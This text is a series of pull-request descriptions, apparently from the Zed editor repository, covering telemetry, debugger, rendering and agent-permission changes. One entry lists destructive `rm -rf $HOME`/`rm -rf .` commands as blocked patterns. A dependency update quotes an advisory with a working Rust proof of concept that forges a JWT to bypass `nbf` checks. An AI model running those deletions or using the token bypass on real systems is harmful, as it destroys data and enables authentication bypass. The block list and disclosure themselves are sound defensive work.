### Summary
Adds accept/reject tracking for Mercury edit predictions.
### Changes
Sends events to https://api-feedback.inceptionlabs.ai/feedback when:
Accept — user presses Tab
Reject — user presses Escape
Ignore — prediction dismissed implicitly (typing, cursor move, etc.)
Added `discard_explicit` method to the delegate trait to distinguish
explicit vs implicit dismissal. Updated `reject_prediction` and
`reject_current_prediction` methods with an `explicit` bool parameter to
thread this through to the Mercury feedback logic. Other providers are
unaffected—they use the default implementation.
Feedback is fire-and-forget in a background thread, only sent for
predictions that were shown.
### Data Collected
- Request ID (returned from Inception API)
- User action (either accept/reject/ignore)
- Client Zed version (to track updates made to Zed client which could
potentially affect nextedit implementation)
Release Notes:
- N/A
---------
Co-authored-by: Ben Kunkle <ben@zed.dev>
Expands the hardcoded security rules that block dangerous `rm` commands
in the agent terminal tool.
### New blocked patterns
- `rm -rf $HOME` / `rm -rf $HOME/` / `rm -rf ${HOME}` / `rm -rf
${HOME}/`
- `rm -rf .` / `rm -rf ./`
- `rm -rf ..` / `rm -rf ../`
- `rm -rf ~/` (previously only `rm -rf ~` was blocked)
### Flag handling improvements
- Simplified the flag character class from `[rRfF]` to `[rf]` since the
regex is already compiled with case-insensitive mode — less confusing,
same behavior.
- Added tests verifying that reversed flags (`-fr`), uppercase (`RM
-RF`), split flags (`-r -f`), and chained commands all get caught.
### Safe commands still allowed
Paths like `rm -rf ./build`, `rm -rf ~/Documents`, `rm -rf
$HOME/Documents`, `rm -rf ../some_dir`, and `rm -rf .hidden_dir` are
**not** blocked.
Release Notes:
- Auto-block a wider range of agent terminal commands, e.g. `rm -rf
$HOME` in addition to `rm -rf ~`
`brush-parser` handles `;` (sequential execution) and `|` (piping) which
all these shells use, so we can safely parse their commands for
`always_allow` pattern matching.
(No release notes because granular tool permissions haven't been
released yet.)
Release Notes:
- N/A
This regressed in #47619 -- previously we would throw away and reopen
the diffs used to construct the branch diff pretty eagerly, and as a
result the branch diff would update itself when you committed or
switched branches. We inadvertently lost that when we switched to
retaining those diffs in the git store.
Release Notes:
- N/A
Closes#46947
When installed with `npm install -g`, devcontainer gets created as
`devcontainer.cmd`. However, when invoked as a script from node, it's
still `devcontainer.js`. This addresses that difference so that we don't
accidentally invoke `devcontainer.cmd.js`.
Release Notes:
- Fixed devcontainer operation on Windows for when the devcontainer cli
is not installed globally
I primarily contribute to Doom source ports and related utilities. When
working with Doom WADs, the primary archive format for the game, Zed
will sometimes incorrectly assume that such files are plain text, due to
the nature of said container format not being compressed, some common
text files included in them will trigger a false positive in Zed's text
detection mode.
Considering some of these files can go from a couple dozen to a few
hundred megabytes, this usually makes Zed hang on my lower end machine,
until I manually terminate it :/ and has happened when I accidentally
clicked on one via the file explorer, or when viewing Git diffs.
Release Notes:
- Fixed Doom WAD files being erroneously treated as text
Part of #7450
Big thanks to @macmv for pushing this forwards so much!
Rebased version of https://github.com/zed-industries/zed/pull/39539 as
working on an in-org branch simplifies a lot of things for us)
Release Notes:
- Added LSP semantic tokens highlighting support
---------
Co-authored-by: Neil Macneale V <neil.macneale.v@gmail.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
Co-authored-by: Zed Zippy <234243425+zed-zippy[bot]@users.noreply.github.com>
Currently, when overriding e.g a `binary` in dap settings, one have to
override all settings, including `args` as it otherwise set it to empty
string.
E.g this config will set `args` and `env` to their empty states, like
empty string and empty map:
```json
{
"dap": {
"Delve": {
"binary": "/path/to/binary"
}
}
}
```
This PR changes so that it is instead possible to only override a single
field. This is useful e.g on nixos where you don't want (or cant let)
zed download binaries for you, but you want to use the default args,
such as in Delve, you want zed to configure it with a random listening
port.
Release Notes:
- Improved dap settings so that it is possible to override individual
fields, such as `binary`
Otherwise block_with_timeout is effectively useless on windows as we
would block a minimum of 15ms which is our entire frame budget
Release Notes:
- N/A *or* Added/Fixed/Improved ...
There was a `when()` condition here looking at
`hovered_edited_file_buttons`, which is never turned to true when
hovering over the edited file button, and given we started to pass the
hover styles, tooltip, and on_click handler inside the condition, they
would never work. The solution here is to make these three things
unconditional, so edited files are always clickable.
Release Notes:
- N/A
This language is used for the keymap editor and should not be selectable
for normal files. Hence, removing it here from the language selector
Release Notes:
- Fixed an issue where the Zed keybinding context would show up as a
language in the language selector.
- Keyboard navigation where you can traverse through cells using up and
down arrow
- Jupyter Logo added
- Initialize kernel as shutdown for more predictable behavior
- Ability to create .ipynb files with bare essential metadata.
- Optimize editor initialization to avoid cloning the entire notebook
and shortcuts
Release Notes:
- N/A
---------
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
## Summary
Adds documentation for the `git_hosting_providers` setting that allows
users to configure custom self-hosted Git instances for clickable links.
## Description
This PR documents the previously undocumented `git_hosting_providers`
setting in the Git integration documentation. The setting allows users
to configure Zed to recognize and create clickable links to issues, pull
requests, and commits on self-hosted Git instances (like company GitLab
or GitHub Enterprise servers).
## Fixes
Closes#38433
## Test Plan
- Documentation follows the existing style and tone of `docs/src/git.md`
- Placement in the "Git Integrations" section makes logical sense
- Code example matches the format confirmed working by maintainers in
the issue
Release Notes:
- Improved: Documented the `git_hosting_providers` setting for
configuring custom self-hosted Git instances
---------
Co-authored-by: MrSubidubi <finn@zed.dev>
Fixes#48231
## Problem
When debugging Rust programs with CodeLLDB, panic breakpoints ("Rust: on
panic") don't work unless `sourceLanguages: ["rust"]` is explicitly set
in the debug configuration.
Without this setting, CodeLLDB doesn't return the `rust_panic` exception
filter, so the breakpoint shows `locations = 0 (pending)` and never
triggers.
## Root Cause
The Cargo locator correctly adds `sourceLanguages: ["rust"]`
([cargo.rs:97-100](https://github.com/zed-industries/zed/blob/main/crates/project/src/debugger/locators/cargo.rs#L97-L100)),
but other code paths may not:
- VSCode launch.json imports
- Manual debug configurations
## Solution
Auto-detect Rust binaries in `CodeLldbDebugAdapter::get_binary()` by
checking if the program path contains `/target/debug/` or
`/target/release/` (Cargo's standard output directories).
If detected and `sourceLanguages` isn't already set, we automatically
add `["rust"]`.
Release Notes:
- Fixed Rust panic breakpoints not working in debugger when using
CodeLLDB with non-Cargo debug configurations
This PR adds a page in the settings UI, under the AI section, that
allows to interact and customize permissions for tool calling for each
tool available to Zed's native agent.
Release Notes:
- AI: Added a settings page in the settings editor that allows to
customize tool call permissions for each tool.
---------
Co-authored-by: Richard Feldman <oss@rtfeldman.com>
Previously, Ollama would not show up as available until you opened some
UI that prompted connecting to Ollama, like the agent panel or the edit
prediction settings.
Release Notes:
- N/A
`spacer_blocks` is an ideal place to drop `WrapPointCursor` since a
large part of what it does it to convert an increasing sequence of
`MultiBufferPoint` into `WrapPoint`.
Release Notes:
- N/A
This PR removes the Postgres and `stripe-mock` contains from the Docker
Compose cluster, as these now run in Cloud's Docker Compose cluster.
Release Notes:
- N/A
The side-by-side diff heavily relies on a primitive from `buffer_diff`
that converts a point on one side of the diff to a range of points on
the other side. The way this primitive is set up on main is pretty
naive--every time we call `points_to_base_text_points` (or
`base_text_points_to_points`), we need to iterate over all hunks in the
diff. That's particularly bad for the case of constructing a new
side-by-side diff starting from a multibuffer, because we call those
APIs once per excerpt, and the number of excerpts is ~equal to the
number of hunks.
This PR changes the point translation APIs exposed by `buffer_diff` to
make it easier to use them efficiently in `editor`. The new shape is a
pair of functions that return a patch that can be used to translate from
the main buffer to the base text or vice versa. When syncing edits
through the block map that touch several excerpts for the same buffer,
we can reuse this patch for excerpts after the first--so when building a
new side-by-side diff, we'll iterate over each hunk just once.
The shape of the new APIs also sets us up to scale down to cases like
editing on the right-hand side of the diff: we can pass in a point range
and give them permission to return an approximate patch that's only
guaranteed to give the correct results when used with points in that
range. For edits that only affect one excerpt, and given how the project
diff is set up, that should allow us to skip iterating over most of the
hunks in a buffer.
Release Notes:
- N/A
---------
Co-authored-by: cameron <cameron.studdstreet@gmail.com>
Currently, each time we draw a primitive batch, we fully overwrite the
instance buffer with the contents of the new batch. Since we use a
write-only mapping to do this, the GPU driver may handle synchronization
hazards by transparently creating new allocations if the previous
allocation is still in use. We draw many primitive batches in one frame,
which stress-tests this mechanism somewhat. If internal driver limits
are hit, the resource update will start to block until the GPU catches
up and releases in-use allocations. This would result in a significant
reduction in framerate.
To avoid this, we upload the data for all primitive batches at once at
the beginning of the frame. Each primitive batch draw then binds the
relevant sub-array of the instance buffer. This way, there are no
mid-frame resource updates.
Release Notes:
- N/A
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [jsonwebtoken](https://redirect.github.com/Keats/jsonwebtoken) |
workspace.dependencies | major | `9.3` → `10.0` |
---
> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency
Dashboard for more information.
### GitHub Vulnerability Alerts
####
[GHSA-h395-gr6q-cpjc](https://redirect.github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc)
## Summary:
It has been discovered that there is a Type Confusion vulnerability in
jsonwebtoken, specifically, in its claim validation logic.
When a standard claim (such as nbf or exp) is provided with an incorrect
JSON type (Like a String instead of a Number), the library’s internal
parsing mechanism marks the claim as “FailedToParse”. Crucially, the
validation logic treats this “FailedToParse” state identically to
“NotPresent”.
This means that if a check is enabled (like: validate_nbf = true), but
the claim is not explicitly marked as required in required_spec_claims,
the library will skip the validation check entirely for the malformed
claim, treating it as if it were not there. This allows attackers to
bypass critical time-based security restrictions (like “Not Before”
checks) and commit potential authentication and authorization bypasses.
## Details:
The vulnerability stems from the interaction between the TryParse enum
and the validate function in
[src/validation.rs](https://redirect.github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).
1. The TryParse Enum: The library uses a custom TryParse enum to handle
claim deserialization:
```
enum TryParse<T> {
Parsed(T),
FailedToParse, // Set when deserialization fails (e.g. type mismatch)
NotPresent,
}
```
If a user sends {“nbf”: “99999999999”} (legacy/string format), serde
fails to parse it as u64, and it results in TryParse::FailedToParse.
1. The Validation Logic Flaw (src/validation.rs): In
Validation::validate, the code checks for exp and nbf
like this:
```
// L288-291
if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {
return Err(new_error(ErrorKind::ImmatureSignature));
}
```
This matches! macro explicitly looks for TryParse::Parsed(nbf).
• If claims.nbf is FailedToParse, the match returns false.
• The if block is skipped.
• No error is returned.
1. The “Required Claims” Gap: The only fallback mechanism is the
“Required Claims” check:
```
// Lines 259-267
for required_claim in &options.required_spec_claims {
let present = match required_claim.as_str() {
"nbf" => matches!(claims.nbf, TryParse::Parsed(_)),
// ...
};
if !present { return Err(...); }
}
```
If “nbf” IS in required_spec_claims, FailedToParse will fail the
matches!(..., Parsed(_)) check, causing the present to be false, and
correctly returning an error.
However, widely accepted usage patterns often enable validation flags
(validate_nbf = true) without adding the claim to the required list,
assuming that enabling validation implicitly requires the claim’s
validity if it appears in the token. jsonwebtoken seems to violate this
assumption.
Environment:
• Version: jsonwebtoken 10.2.0
• Rust Version: rustc 1.90.0
• Cargo Version: cargo 1.90.0
• OS: MacOS Tahoe 26.2
POC:
For demonstrating, Here is this simple rust code that demonstrates the
bypass. It attempts to validate a token with a string nbf claiming to be
valid only in the far future.
create a new project:
```
cargo new nbf_poc; cd nbf_poc
```
add required dependencies:
```
cargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_json
```
replace the code in src/main.rs with this:
```
use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
struct Claims {
sub: String,
nbf: String, // Attacker sends nbf as a String
exp: usize,
}
fn main() {
let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";
// nbf is a String "99999999999" (Far future)
// Real nbf should be a Number.
let my_claims: Claims = Claims {
sub: "krishna".to_string(),
nbf: "99999999999".to_string(),
exp: 10000000000,
};
let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
println!("Forged Token: {}", token);
// 2. Configure Validation
let mut validation: Validation = Validation::new(Algorithm::HS256);
validation.validate_nbf = true; // Enable NBF check
// We do NOT add "nbf" to required_spec_claims (default behavior)
// We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
// The library sees the raw JSON with string "nbf".
let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
&token,
&DecodingKey::from_secret(key),
&validation
);
match result {
Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
Err(e) => println!("Token rejected. Error: {:?}", e),
}
}
```
run cargo run
expected behaviour:
```
Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk
```
Token was accepted despite malformed far-future 'nbf'!
Impact:
If an application uses jsonwebtoken nbf (Not Before) to schedule access
for the future (like “Access granted starting tomorrow”).
By sending nbf as a string, an attacker can bypass this restriction and
access the resource immediately.
and for the exp claim (this is unlikely but still adding), If a
developer sets validate_exp = true but manually handles claim presence
(removing exp from required_spec_claims), an attacker can send a string
exp (e.g., “never”) and bypass expiration checks entirely. The token
becomes valid forever.
---
### Release Notes
<details>
<summary>Keats/jsonwebtoken (jsonwebtoken)</summary>
###
[`v10.3.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1030-2026-01-27)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.2.0...v10.3.0)
- Export everything needed to define your own CryptoProvider
- Fix type confusion with exp/nbf when not required
###
[`v10.2.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1020-2025-11-06)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.1.0...v10.2.0)
- Remove `Clone` bound from decode functions
###
[`v10.1.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1010-2025-10-18)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.0.0...v10.1.0)
- add `dangerous::insecure_decode`
- Implement TryFrom \&Jwk for DecodingKey
###
[`v10.0.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1000-2025-09-29)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v9.3.1...v10.0.0)
- BREAKING: now using traits for crypto backends, you have to choose
between `aws_lc_rs` and `rust_crypto`
- Add `Clone` bound to `decode`
- Support decoding byte slices
- Support JWS
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone America/New_York,
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
Release Notes:
- N/A
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDIuOTUuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
---------
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Marshall Bowers <git@maxdeviant.com>
Follow-up to https://github.com/zed-industries/zed/pull/48209 - those
hardcoded rules are replacing these default settings, which will make
the rules clearer by removing the "override" scenario.
(No release notes because granular tool permissions are still behind a
feature flag.)
Release Notes:
- N/A
